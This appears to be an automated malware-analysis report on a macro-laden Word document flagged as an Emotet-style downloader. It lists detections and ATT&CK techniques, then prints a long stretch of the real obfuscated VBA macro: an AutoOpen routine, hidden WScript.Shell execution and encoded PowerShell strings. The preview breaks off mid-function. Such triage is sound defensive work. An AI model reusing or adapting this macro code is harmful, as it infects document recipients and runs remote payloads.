MALICIOUS
310
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, suggesting the macros are designed to execute arbitrary commands. The AutoOpen macro is a common technique for immediate execution upon opening the document. The primary function of the script appears to be downloading and executing a second-stage payload.
Heuristics 10
-
ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
End Select awvniJW = "WScript.Shell" Select Case pzohB -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
End Select CreateObject(awvniJW).Run fVjPTBiiIMar + Chr(VBA.vbKeyC) + MwQVJRBoA + ldmMInPAEAu + KYhZKbw, vbHide Select Case jkAWiK -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "FWOopjP" Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 55369 bytes |
SHA-256: 157d222557a4a351bda5b599d0bdbf0d4a7e102bdc9686d611c964c0186ed133 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
671 of 1143 identifiers look randomly generated (e.g. 'pJVvujDWOAKzEEodGv') — consistent with name-mangling obfuscation. Carved artifact contains 15 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "iVFOGbkv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "dftzQwUopIn"
Function ljdiAKiJpw()
On Error Resume Next
Select Case QlsGci
Case 74921
lvKAXT = ChrB(ELUPX)
fzlRd = YsiEWL
Case 59694
KBTUr = Rnd(OtwhP)
HXdjR = Cos(nQllGp)
End Select
wOjLTVtRbO = rIoNYF("ldAAIGAiBQZAMGA1AQOAYDAlBAZAQGAjBQOAYGAhBQYAEDAiBQOAcDAjBgZAEDA3AwYAADA0AANAQGAmBAMAUGA3AAZYqw68", 6 + 0, 88 + 0)
Select Case BOoCqn
Case 79161
FIDsAX = ChrB(BlCEB)
UBPwnd = OcZud
Case 40556
zZqFua = Rnd(CPZrQ)
cPziC = Cos(XhNZED)
End Select
Select Case YilTh
Case 21897
Ewbru = ChrB(PoVip)
ZnwCC = lNwrS
Case 93641
VWLSv = Rnd(mTboSw)
dUKTZr = Cos(kSRZcj)
End Select
cZEPvBdLG = rIoNYF("8F2NVbNYAIDAhBQNAYGA2AAOAUDAmBwMAUGA5AgZAEDA2AAOAMDA3AQOAEGA1AgNAADAkBgNAIDA1AgMAgDA3AAOAkDA1AQNAIDMO", 3 + 0, 92 + 0)
Select Case vwaNf
Case 59711
YmEVa = ChrB(CiwzjE)
mRCdR = VjCElq
Case 22758
qUBanS = Rnd(FhGwz)
ZCURtX = Cos(Qivzv)
End Select
Select Case sKtrjH
Case 60082
YkCNv = ChrB(uDNGKS)
AdzqK = lIsGv
Case 17906
NdCijT = Rnd(jPIrw)
jDitGW = Cos(UrjuBV)
End Select
AoECCZbc = rIoNYF("rQ9CuCANAgDA5AQMAUDAyAAZAQDAiBQOAYGAkBwNAgDA1AQYAMDvf", 3 + 0, 45 + 0)
Select Case tKfiGE
Case 30518
RAfZr = ChrB(ilVHuc)
iZzzZQ = VzHhK
Case 66331
VjilrR = Rnd(lhOji)
lGLnHt = Cos(Lkjijn)
End Select
Select Case AJQDVj
Case 9623
sInTj = ChrB(AiPsUz)
zIcAGj = joZJLt
Case 60108
RWCNT = Rnd(joEzSR)
wpchcj = Cos(BoCPA)
End Select
YqAOYPDk = rIoNYF("q5b2W.W1GNIRt5uIn54aErUcES-ottREVNOC | F", 2 + 0, 25 + 0)
Select Case VDjdH
Case 76031
jQtqG = ChrB(HNTYDn)
Dnzwc = JcSdTm
Case 26839
RfEap = Rnd(PGfvma)
bphPzb = Cos(JiEmAX)
End Select
Select Case dSwisA
Case 67750
aqafE = ChrB(OTRpV)
cCVtpJ = IMTAi
Case 52162
KLcWAM = Rnd(zfGzQE)
quQmw = Cos(UawCs)
End Select
kBaXXiHw = rIoNYF("ZWA5AgNAYDA5AAMAcDAhBAZAUGA3AQYAYGA4AAZAEDA1AQZAIDAlBQOAYDA3AQNAYDAxj51q7", 6 + 0, 66 + 0)
Select Case iavGpw
Case 8194
rDrup = ChrB(FdXPv)
FGSRD = jNijO
Case 49895
QdRDYQ = Rnd(MwTnD)
zoHqC = Cos(HTibIi)
End Select
Select Case rjbjc
Case 54536
jlWiwG = ChrB(OOiKz)
Mlkkpn = mfpSXa
Case 5769
oMwnt = Rnd(pwQwL)
AXOzpf = Cos(wGzqro)
End Select
SORBm = rIoNYF("hVXgZAYGA1AAMAYDAlBAMAYGAjBwYAMDAwAwMAQDA1AgZAIGJFdZnL", 7 + 0, 45 + 0)
Select Case FDvEGW
Case 6429
aChWGK = ChrB(mTndv)
OQqcsv = HoVFz
Case 32261
lDMqp = Rnd(IwMRSZ)
YTjCN = Cos(crnFbN)
End Select
Select Case vCiNR
Case 41296
wOQUh = ChrB(ccjRE)
iuzzFk = VTSKw
Case 1254
uTtvA = Rnd(vwiZU)
mImpaG = Cos(mAKwDc)
End Select
wQzHsLYNw = rIoNYF("9i56P240f3476111d29467'($(Rt5uIn54aBOtGNIRtSeruCES::]LAh5uIn54araM.5uIn54aeCivrESpoREtNi.eMitnUR[(rt5uIn54aBGNiRTSOTrtp::]lAh5uIn54arAM.SEcIVrE5uIn54aPoreTNI.EmItNUr[ ( 7", 2 + 0, 128 + 0)
Select Case QziiES
Case 39011
VJjkQ = ChrB(ikQXiF)
sjisDT = LjUpT
Case 46910
vPAVC = Rnd(QncFpq)
EQuaZX = Cos(YQEmAw)
End Select
Select Case MfQOs
Case 98833
VTzzL = ChrB(jdjfd)
FsjCzI = nbrZw
Case 41959
qTEVJ = Rnd(PkZJW)
rkcYz = Cos(Wjwbcd)
End Select
bwRIPSFkJaK = rIoNYF("A87k1AzAQYAYGAwAgYAIDAmBAMAQGAlBAMAkDAlBwNAMGA2AQYAkDAiBgYAADAjBAZAkDAjBgNAQDAlBQZAUGAwSo", 3 + 0, 82 + 0)
Select Case FjLkd
Case 87282
bwfMZ = ChrB(WZbUS)
jwRbLC = iZmQPq
Case 52264
DXDzv = Rnd(SZuEP)
kVzHiI = Cos(zSoFA)
End Select
Select Case KFXnJ
Case 66452
BhKhu = ChrB(Uzurzj)
nmHnZT = NhGAKO
Case 12539
lMHHAD = Rnd(snUQRo)
ZiDAWP = Cos(wjNpE)
End Select
zAYEPVppbrh = rIoNYF("6PDAwAQMAQDAlBAMAMGAkBAMAQGAkBgNAQDAmBQZAUDA5AgZAMGAiBQNAEDA1AwYAYDAiBQZAcDA1AQOAIDAjBQNAcDAmBwYA2c0F", 5 + 0, 95 + 0)
Select Case UbJWfW
Case 88179
hkrju = ChrB(tTTJC)
iHbzJs = CnctRv
Case 29270
Qizku = Rnd(XstLRb)
ifQEn = Cos(KMzMM)
End Select
Select Case SSJzM
Case 2864
wrPZVk = ChrB(tAoYVz)
TIDndw = maHDL
Case 93231
bswtZG = Rnd(iVCWG)
jfLow = Cos(iwJGKi)
End Select
AiUdbrEVJ = rIoNYF("bV10AUDAwAAZAQGAjBwMAkDA3AQMAUGAwAAMAkDA4AgMAMGA2AwMAQGAwAgZAgDA4AQNl8", 3 + 0, 64 + 0)
Select Case dMRIW
Case 20066
mRHpiw = ChrB(aonBQX)
lGOSE = NwRmoL
Case 38421
BNMfMS = Rnd(SXWKBp)
JWFtL = Cos(sGDpSh)
End Select
Select Case wzFtv
Case 19650
zpwjX = ChrB(MNNXkt)
RtaPt = YsnQl
Case 64252
sFqBat = Rnd(GSNKq)
roSJtt = Cos(PpFWq)
End Select
HjlVHKUN = rIoNYF("LA.iDAlBAZAMGA1AQYAYGA3AQMAkDAhBwNAMDAySF", 3 + 0, 35 + 0)
Select Case tlfLYM
Case 4701
GGXMz = ChrB(XzwfQY)
LkZiW = NjDAUL
Case 50505
kbGoz = Rnd(Pkhvww)
wPqaF = Cos(uhBFh)
End Select
Select Case lAdHcO
Case 79000
OaMkva = ChrB(zbErs)
pioFp = jwtqNV
Case 76418
cAQtb = Rnd(NsRLTG)
upLKBj = Cos(wRpBnh)
End Select
JMtoNZWnK = rIoNYF("Cr0aZAgDAzAQNAQGA2AgMAMGAyAgZAIGAwAwNAEDAkBwMAIDAwAAZAcDAxAAZAIDA2AgNAUDA2AQOAMDAxAAZAkDAlBAMAcDAwAwNAQDA5AgNAYGA2AwMAMDAmBgZAYGA4AgYAMDAyAANAUDA1AAOAYGAzAQYAEDAzAANAcDAmBwNAIDAmBANAIDAlBANAMGA3AAOAk,6qq", 5 + 0, 195 + 0)
Select Case cUjwP
Case 15827
jzKLP = ChrB(qwQcm)
plJijL = ESKKOG
Case 88978
lYhNDz = Rnd(NpAwlj)
zBNPDs = Cos(TlDmd)
End Select
Select Case YrswRk
Case 37343
SiINw = ChrB(KiIFp)
OAoMJY = KShZfD
Case 85637
jUufT = Rnd(rUEwb)
nNBKY = Cos(NUXDf)
End Select
RMztGujR = rIoNYF("0.65Q30QAUDAwAQOAIDAiBAOAgDAmBgNAYGAyAAZAADAiBwYAYGA1AQOAEGAkBgYAgDAhBQMAEGAjBwYAUDA4AwNAIGA7", 2 + 0, 84 + 0)
Select Case tJItlI
Case 55228
FkaKN = ChrB(VwWjjP)
OnzRWB = qXvjoF
Case 73310
rzjvT = Rnd(EDnrw)
iQwrTQ = Cos(fVLcO)
End Select
Select Case siNAKh
Case 7478
kCiSj = ChrB(aCNdMY)
cvmURi = ViPkzC
Case 23830
hHazt = Rnd(wUulwS)
RasEjF = Cos(nbjsD)
End Select
sojsoWj = rIoNYF("iuhDBgYAIGAiBAOAEDA4AAOAEGA5AAOAQGA2AQNAIGAjBgMAUGAwAgYAEGA2AQZAUGAlBQNAcDA0AwMAYDA1AAOAIGAyAAZAUGAiBgYAMDA0AQYAUDA3AQYAMGA2AAOAkDAlBgMAIGAiBgMAEc5uIn54aV", 4 + 0, 141 + 0)
Select Case oCntV
Case 56042
NVFDN = ChrB(hfasjV)
wDHWj = zwaFb
Case 64781
lJujAP = Rnd(vkwUp)
CYkMiz = Cos(rJkuQ)
End Select
Select Case ZwNQF
Case 45414
vhAod = ChrB(vshPTf)
WppIL = CMpkUG
Case 61849
EIVGlj = Rnd(iKzWj)
Dtvqqj = Cos(vjIEFP)
End Select
AqRpw = rIoNYF("XpAxAwNAADAmBQZAUGA2AgYAUGAjBQOAIGA3AQZAQGA0AwNAIDA0AwMAQDAlBANAkDAhBQOAMGA0AgZAIGAzAwNAcDAjBgZAQDAlBgMAUDAzAQZAQDA4AwNAIGAzAAZAUDA3AQYAIDAwAQOAEGA3AAOAEDA2AQNAgDAiBgNAMDAlBgMAADA5AQOAUGAlBQNAYFXLl", 5 + 0, 191 + 0)
Select Case BFwji
Case 95809
qjMIh = ChrB(Iripmc)
zStui = uiVzQ
Case 2911
OzYOT = Rnd(ljNJjh)
miDET = Cos(cKViM)
End Select
Select Case Yiuuck
Case 61566
XKsKXk = ChrB(taoWq)
wSdijq = biooiC
Case 15840
subSQu = Rnd(dzvhVU)
fFNju = Cos(MRPsuj)
End Select
quIUcwRwMqP = rIoNYF("0qAJmj)''nIoJ-]2,11,3[eMAn.)'*rdm*' VG(( .| )) ) ))751..241( K- 6", 2 + 0, 60 + 0)
Select Case pVDfU
Case 53829
AjMDZ = ChrB(WodjCU)
LDibwI = jbfiYh
Case 66090
HvPMtP = Rnd(wtKHw)
XnjqZ = Cos(Almch)
End Select
Select Case dMUhms
Case 99768
iSYHrw = ChrB(jDvizu)
hfrbJ = fwaWa
Case 27252
CpEPs = Rnd(sDSmGt)
piDKwl = Cos(dfppLj)
End Select
ilBBzjNiSzE = rIoNYF("Z1FiA%u1gYAkDA1AAZAIDAmBAZAMGAiBgMAYDA2AwMAgDA0AwMAgDAiBANAEDAyAgZAUDA5AQNAMGAkBgNAQDAiBQZAEGAzAgNAMDAyAgZAADAzAgZAUDA3AANAMDAzAAN9", 2 + 0, 122 + 0)
Select Case whsBjd
Case 52215
uwjlTB = ChrB(OslhRi)
tPapjt = zPDIE
Case 94139
alZQQ = Rnd(oEiKR)
jQzDiS = Cos(zncbrz)
End Select
Select Case ZHdMU
Case 23570
sGkHz = ChrB(WPnAw)
vwUNls = PAmbi
Case 11162
vXMdjC = Rnd(MNAHiz)
bBsPV = Cos(maFurT)
End Select
VVAXDS = rIoNYF("@dAEGA0AQYAUDAlBQOAIGAiBQZAgDAjBANAEDA1AQNAgDA0AwMo.kE", 5 + 0, 48 + 0)
Select Case zYGfF
Case 3253
TzDKT = ChrB(FijTFC)
znwtMJ = pVSSl
Case 25644
uoGUBh = Rnd(ubwhvZ)
EqlooX = Cos(JaMTw)
End Select
Select Case LbQut
Case 57541
qnntzt = ChrB(vcuHhX)
zdjpm = bqjowZ
Case 5666
VDFNzf = Rnd(lspzE)
jhWiVF = Cos(OzjFGi)
End Select
wRPrGtlwH = rIoNYF("PuoiW'==AAkBQZAQGAzAQMAUGA2AgNAQGAhBgNAIGAmBgNAkDAmBANAQGAhBQZAYDA5AwMAADA2AQZAYDA0AwYAgDAi@3E", 4 + 0, 86 + 0)
Select Case zHzua
Case 82105
ZYptj = ChrB(BMlrri)
vJKJd = MaXTz
Case 13065
URisu = Rnd(NRGIj)
lNnBMs = Cos(YOPpz)
End Select
Select Case Eqiti
Case 79312
oNkFOf = ChrB(MZntw)
vTiin = qpphr
Case 97702
jGAzJa = Rnd(mTnFMq)
zYYwj = Cos(qZkMAG)
End Select
RBHFCw = rIoNYF("TtaEmGAmBwYAUGA5AwNAUGAkBgYAUDAjBANAUGA1AQOAQGA0AQMAMGAyAgYAgDAmBQZAIGA4AANAEGAzAgNAEDAyAAZAkDAzAQMAADAmBgNAgDAhBgMAgDA0AQMAADA2AAMAYGAyAgMAQGA7ld", 4 + 0, 138 + 0)
Select Case wqwfs
Case 12978
vQMaiT = ChrB(mbfYS)
OtQRjK = uJWoz
Case 5109
fvVIM = Rnd(NJjMw)
NHDzE = Cos(hKwFZh)
End Select
Select Case uXnwi
Case 40204
awQcjB = ChrB(ftBnz)
SOIZE = YUsiXJ
Case 37550
UJwXM = Rnd(rvNSH)
UtjnoQ = Cos(PzfONr)
End Select
bpQWPcsv = rIoNYF("qWSzAAOAIDAyAwNAQGAlBQZAYGAyAQZAMGAmBANAQGAhBQNAEGAxAgMAIGAzAQYAQDAhBwMAMGAzAQYAcDAkBgZAEGA3AQYAIGA3AAZAADAmBANAIGAwAQNAUDAlBAZAQDAkBAZAYGAyAgNAYDA0AAMAUGAkBANAEDAiBQMAIGAxAQYAIDA1AwMAMDAwAwMAkDA5AAEAAP", 5 + 0, 195 + 0)
Select Case wQiRsS
Case 25501
EVzias = ChrB(XBpRX)
foEqH = DHovj
Case 62283
JbNwa = Rnd(UXoLqK)
szaiYv = Cos(QQcda)
End Select
Select Case YBRmMU
Case 89740
TzUaWj = ChrB(ZSjCb)
SMoojm = zFHfb
Case 76905
BqTrFq = Rnd(WtGJDz)
rALhsj = Cos(oczdi)
End Select
DzqdUM = rIoNYF("V9kHDN%%4", 5 + 0, 1 + 0)
Select Case sOroz
Case 66261
Gjzpzk = ChrB(vThffo)
IFwzjE = MNVNXV
Case 14126
BRJVD = Rnd(HAWkHn)
VvSwt = Cos(jIvrQd)
End Select
Select Case fBiSBo
Case 76686
aVYow = ChrB(vEjFjk)
iQVhjq = TWPnVW
Case 82441
GtlNOR = Rnd(Zzcrct)
lozdk = Cos(lNkRzw)
End Select
JCvpIR = rIoNYF("Z.n5uIn54aTAhBAMAUDA4AQYAcDAkBgNAQDA5AQNAMGAiBAOAMDAhBQYAUDA5AANAYDAjBwNAIGAhBgYAUGA4AwMAkDAyAQYAIDA3AgZAMGAmBAOAADAwAgNAQGA1AwYAMGAyAwYAQGA2AQYAQGAkBgZAEDAxAgZAIDAyAwNAUGAkBAZAYDA0A6j", 3 + 0, 171 + 0)
Select Case DGkSat
Case 36067
nTTVfz = ChrB(VFsOvv)
bqrlur = ITPQdh
Case 36654
KRjbZ = Rnd(UdHEwu)
fZjCsS = Cos(uaowaF)
End Select
Select Case vcfQjQ
Case 73356
VjXQRN = ChrB(Jmjmv)
zJNSM = tHcmBl
Case 20327
vNzRS = Rnd(RcKzm)
ZnZrh = Cos(WRwTRz)
End Select
UKvYFzov = rIoNYF("3kYAUDAmBgZAEDA5AwMAIDAlBAMAUDA1AQMAkDAkBQYAADA1AQYAYGAyAAOAcDA5AQNAUDAxAAOAcDA4AwYAMGAzAANAgDAxAAMAYGA2AQYASG,hrS", 7 + 0, 106 + 0)
Select Case jsltw
Case 41932
HDEvnO = ChrB(uIXwQ)
MLFikE = PsOcv
Case 3544
mJjiOb = Rnd(tVjdE)
WcJYV = Cos(SKVmD)
End Select
Select Case NmAwBF
Case 41476
ptkFiw = ChrB(wQAfm)
RRXbj = YqPEV
Case 4874
OTUjd = Rnd(zaMojK)
PvaOn = Cos(bEwUdU)
End Select
JBDLH = rIoNYF("G4BQNAMGAzAgYAEGAjBwMAADA3AwMAQDAkBgNAIGAyAANAUDAmBwYAMDAxAQMAgDAhBwMAQGAwAwYAIGA3AwMAEDAxAAZAQDAzAAMAYGA3AgZAIDA1AwYAkDA3AQMAcDA2AQYAQDA5AQMAEGA2AgNAYGAyAgZAkDAxAQZAEDAiBQOAYDZWu t", 6 + 0, 174 + 0)
Select Case iwpZp
Case 28873
Gkzcj = ChrB(lnvFd)
RPHcQB = rbSSz
Case 82854
LMClm = Rnd(QHNfwz)
QsnJrr = Cos(CCbUZY)
End Select
Select Case vflKC
Case 89333
RHkrFM = ChrB(WsvWK)
sCfwzU = dOZkN
Case 500
asCTov = Rnd(zvDMtr)
KmjsSZ = Cos(tznKi)
End Select
ZUiIkf = rIoNYF("wi9oAANAIGAxAQMAQGAkBQMAEGAzAgYAMGAiBANAQGAiBgZAQDAxAwYAADA2AwYAADAhBwYAkDA0AQAlV", 4 + 0, 74 + 0)
Select Case RChAdF
Case 49664
dpbiPw = ChrB(HblGcP)
ctsva = hsPIF
Case 24838
uNDin = Rnd(RhwFJ)
dalYB = Cos(FSwao)
End Select
Select Case BBswP
Case 7270
PTGZI = ChrB(ZWJcm)
fLYFr = tXWvbr
Case 82791
lwXzi = Rnd(zvvuW)
zGuGth = Cos(KKzdw)
End Select
jPwZvhjiqs = rIoNYF("oCBQNAUDA3AgNAADAjBgMAgDAhBAZAEGA0AwMAUDAyAQOAEGAkBwYAMGA1AAMAYGAwAgMAQDAiBgZAADA2AAZAYGAlBQZAkDAhAl9G", 5 + 0, 96 + 0)
Select Case GVfwU
Case 85675
inobw = ChrB(ujVkP)
jIrmdQ = tbjLo
Case 40241
vbkRwa = Rnd(HAMST)
hnipa = Cos(zMtPjC)
End Select
Select Case vzwWD
Case 72734
EwOzd = ChrB(cjWoI)
bmtbc = COpwNL
Case 98695
coQvDv = Rnd(mGrin)
wdMRjY = Cos(fWBYU)
End Select
WhcWnGN = rIoNYF("kBCAYDA1AQYAMDAiBwNAkDA3AgNAMDA0AAMAMGAmBANAMDAwAwMAEDA5AgMAwHA9AQPAEEAaBQVAIFA1AwNA8CAMBQWAUGApBQOAwGA5uIn54aBgZAgHADBQTAYDAkBgcA5uIn54aEA8BgM5435a05061b3143L45uIn54aUZj", 7 + 0, 143 + 0)
Select Case AXRGkC
Case 96194
onTakM = ChrB(ofBwo)
Glcjin = zFnrbL
Case 91106
VAHbpf = Rnd(ptrwL)
rqzcj = Cos(uloZGP)
End Select
Select Case hqjDi
Case 16750
tEHbq = ChrB(ZuqEc)
mSdOm = LwMmX
Case 67841
mVFsGQ = Rnd(DsNLQK)
UjawU = Cos(MLnEbz)
End Select
ibzIt = rIoNYF("96AiBgMAYGAwAwMAIDAiBgYAcDAiBQMAgDA1AQMAQDAjBQZAIDAjBANAYDAjBQZAADA0AQYAYDA2AANAYDAjBAZAYDA5AAMAIDA3Ag7Qi,BJt", 8 + 0, 100 + 0)
Select Case XKAHhY
Case 76233
EUCjo = ChrB(BuFRwb)
qPmqDE = bhAQJS
Case 13594
rGisXK = Rnd(OXMfh)
QimdV = Cos(jvOQd)
End Select
Select Case OWrTD
Case 57791
vcMPW = ChrB(nAAasp)
OrXWa = XvqPlW
Case 15799
jPQwGu = Rnd(qEhlJ)
pqOGT = Cos(pzXzU)
End Select
HSaLfwUm = rIoNYF("V5gYAUDAlBgZAEDA2AQYAYDAmBANAMGA5AQMAUGAkBQYAEGAjBgMAUDA5AgNAYDA3AAMAADAyAANAMGAxAAMAcDA1AQYAUDAzAAOAADAxAQYAUGA4AgMAYDA2AgZAEDAzAQMAQGAkBANAkDA4AQOAYDA2AgNAUGAyAQYAQGAmBAZAYGAiBgMAQDA3AgNAUDAiBQ.M,,", 5 + 0, 193 + 0)
Select Case OGGENb
Case 85225
zDlkd = ChrB(uSXnql)
YiEcI = QSsMQ
Case 92209
roAlq = Rnd(svSlF)
dhLWbk = Cos(jbpYC)
End Select
Select Case Iawzs
Case 52191
hVXSov = ChrB(MYtAaf)
OItPj = dmOjr
Case 49957
WwZXGM = Rnd(jFYaCZ)
wNhVRW = Cos(uSFkIN)
End Select
cnRYij = rIoNYF("a.SSCazGAiBAZAADAlBgZAMGAyAQYAYDAwAgMAYGAmBgZAIDAmBQMAkDAhBgZAMDA3AQZAUDAhBwYAYDAwAwNAQDAzAgYAEDAwAQZAEDAzAwMAADAhBQZAMGA5AgZAMDA5AAZAEDAwAwYAcDAzAgZAQGA1AQMAUDAxAgZAgDA3AgYAIDAlBAOAADAwAAN4", 2 + 0, 182 + 0)
Select Case vHoaO
Case 14671
NzWtO = ChrB(pIkSN)
PiZhO = DtbjUn
Case 97712
RlwjAn = Rnd(pkOLb)
SElin = Cos(zwfVa)
End Select
Select Case qctGm
Case 12693
NRLSza = ChrB(EUVYEj)
UkJmV = KqpDBO
Case 14909
iKjpSh = Rnd(SnBwqC)
RVsrJA = Cos(skUQd)
End Select
GzSLCjNJMl = rIoNYF("8VDEGA0AQOAIDA4AwMAQGAzAQOAEGAhBAMAEDAiBgMAcDAlBgMAcDA4AgYAEDAwAQYAIDAjBgNAUDAkBgZAgDA5AQNAMGA0Aozr", 4 + 0, 93 + 0)
Select Case XbHQiS
Case 7386
Joimw = ChrB(CwHqib)
ZTLKF = ZqaMZ
Case 78960
GqjkN = Rnd(wPIhJ)
LMUvc = Cos(lBFzHv)
End Select
Select Case shBwiQ
Case 93801
shIOB = ChrB(Npdzwv)
oLdwQF = wNHkQU
Case 77967
sFFzcV = Rnd(LNvzzP)
OtzNbE = Cos(YwOKQ)
End Select
UIHkhMs = rIoNYF("zoAQZAQDAhBQOAkDAiBQZAYDAxAQOAIDAwAAMAEGAzAgMAUGAjBmf469W", 7 + 0, 49 + 0)
Select Case iaYzj
Case 75000
wYuzT = ChrB(vAPCSH)
IzOnC = kSUGqp
Case 21843
OlpzQ = Rnd(qtqwA)
zIVIvw = Cos(AIfLl)
End Select
Select Case XwrcU
Case 11
lBNiFP = ChrB(hZASkW)
ufQNpW = jzkYD
Case 33443
cSolJ = Rnd(LciLPm)
HQwSlY = Cos(cTbOfd)
End Select
zdLikHzsORB = rIoNYF("5lzdPMAYDAmBgYAUGAyAAMAYGA1AgYAEDAxAgMAcDAwAwMAYDA1AQOAIDAhBwNAgDAyAgMAEDA2AgYAMDA4AAOAUD9QW%", 5 + 0, 84 + 0)
Select Case CDcFC
Case 96516
EHLja = ChrB(iSwEzC)
JSBSmf = sIrZGf
Case 50265
YGFNo = Rnd(CJklL)
AKWWRc = Cos(FkCKTW)
End Select
Select Case RGwbP
Case 94560
wjTuH = ChrB(OzwUO)
whslJ = bfzNUG
Case 61495
UWCwCj = Rnd(RAobS)
msCPzH = Cos(EZZVo)
End Select
wlwRs = rIoNYF("zi1FdAQYAgDAjBANAQGAjBgYAYDAzAwMAUDAlBgYAYGAyAQZAYDA4AwNAYGAxAANAUDAjBwYAYGAyAQNAADA5AQNAYGAjBQMAEGAyAwYAQDAkBQOAQDAyAgMAUGAwAwNAMGAiBQMAYGAzAgMAMGA2AQYAMDAjBwMAEDA2AQMAYDAmBQMAADAwAQMAMDAmBQNAf9NQ", 5 + 0, 188 + 0)
Select Case oRVjPN
Case 28379
fsuCRi = ChrB(hjDJqA)
nwzWwZ = vwhHOr
Case 93819
QZODLG = Rnd(INfZPX)
WLznzd = Cos(mtOpw)
End Select
Select Case Fzdbdj
Case 55187
JiUpiF = ChrB(AkvVqv)
mWFFv = pAsYGn
Case 72222
wXzjIT = Rnd(qGWCmj)
Eswkm = Cos(MGVXos)
End Select
QlKnvqLcz = rIoNYF("VwAkBAZAIDAzAAZAQDAlBgYAEGAhBAZAIGAiBQNAADA0AAMAcDAlBwMAADAlBgYAgDAyAAZAQDAxAAMAkDAhBANAIGAmBwYAUDA0AwMAgDAlBQYAEGAiBQNAUGA4AAOAQDAwAAOAADAxAwNAEGA5AQYAMGAmBgMAUGAxAAZAIGAxAwYAMDA2AgZ@A4FF", 6 + 0, 181 + 0)
Select Case JpwjuT
Case 93022
Nzphc = ChrB(vQiDIA)
vAaVBA = rBZsQ
Case 59231
AKmISn = Rnd(quJCK)
RqnUf = Cos(MNoVNs)
End Select
Select Case PViXuV
Case 13130
kfOfzr = ChrB(CcrhFn)
Vuzjh = wzKWRi
Case 87421
oMwJjF = Rnd(qRLzXu)
crzwww = Cos(kaNnZ)
End Select
vDiipXlw = rIoNYF("0jkBAOAkDAjBgYAMGAhBAZAUGAhBgYAEDAmBAMAADA1AQOAIGAjBAMAYGA0Z.%caUW", 8 + 0, 57 + 0)
Select Case lVrNVw
Case 5946
PsXVh = ChrB(icliKm)
WSZVj = cDmlWK
Case 53236
VZwcYr = Rnd(NzZaQ)
VIoid = Cos(NOCSsp)
End Select
Select Case maacfE
Case 43772
rwjBhw = ChrB(jpIMKw)
DsOcUG = ITEcN
Case 55916
IpSWqZ = Rnd(iQHFs)
GGZHEh = Cos(WiNCjP)
End Select
fvLXui = rIoNYF("rR9@z4GzYAQGAyAwNAMGA5AwNAMDAhBQZAUGA3AwNAcDAjBgYAMY", 2 + 0, 43 + 0)
Select Case idfZT
Case 41557
bAppUX = ChrB(VbHWb)
PBuwX = mIabQm
Case 50546
oFlhl = Rnd(liGjR)
JRAGGf = Cos(rIjji)
End Select
Select Case NzQzj
Case 77349
Doqai = ChrB(WwzSh)
PwdWo = JDqdnH
Case 73188
RXZnQ = Rnd(aJdPzw)
JHznaF = Cos(bJjdbR)
End Select
bBJCdK = rIoNYF("rUbAYDAwAgZAIGAkBgNAUDA0AQOAYDA1AwMAADA5AwYAkDA0AAMAADA2Agpri", 4 + 0, 55 + 0)
Select Case khaBj
Case 78275
DwXLC = ChrB(wFTOYq)
AwspMB = lHnvMw
Case 15433
cDNOJP = Rnd(IabYG)
WqVFlT = Cos(ookoh)
End Select
Select Case VqzvW
Case 89805
zQwZv = ChrB(TiFOD)
FaEdtT = lvKElf
Case 9083
vpupCd = Rnd(JYABj)
fFkEhY = Cos(qQMEbj)
End Select
oLUfYoUuK = rIoNYF("2PAkSdgDA1AgNAIDAmBwYAEGA1AQOAMDAmBQYAIDAxAQZAEDA1AgNAEDAlBANAgDA0AQOAgDAyAwYAQGAyAgYAEGA5AAOAgDAiBwMAUDA1AANAADAiBQMAMGA2AgMAADA1AQYAUGAyAgZAIDAiBgZAQDA4AwYAq", 2 + 0, 152 + 0)
Select Case HoMLu
Case 82777
XpKYBS = ChrB(Rfdsnp)
qZzDH = mfcqNS
Case 40104
UMpGpF = Rnd(PafjF)
ZkjLnt = Cos(QOMHn)
End Select
Select Case XtwZtY
Case 70317
zEkPNr = ChrB(HwiNJT)
QkncKm = qIRZYS
Case 42547
LroGUW = Rnd(zvRaAL)
jJaNo = Cos(OmROwd)
End Select
rVVRMMOr = rIoNYF("j07wAQZAkDAzAQNAADAlBAOAEGA1AQNAIDAmBQNAcDAjBgYAUGA3AAMAcDAlBgMAIGAhB%z4XD", 6 + 0, 65 + 0)
Select Case vSppZ
Case 39226
lrYCz = ChrB(fkrKk)
njZIzL = tjZaaI
Case 82098
qjGcA = Rnd(wYskXN)
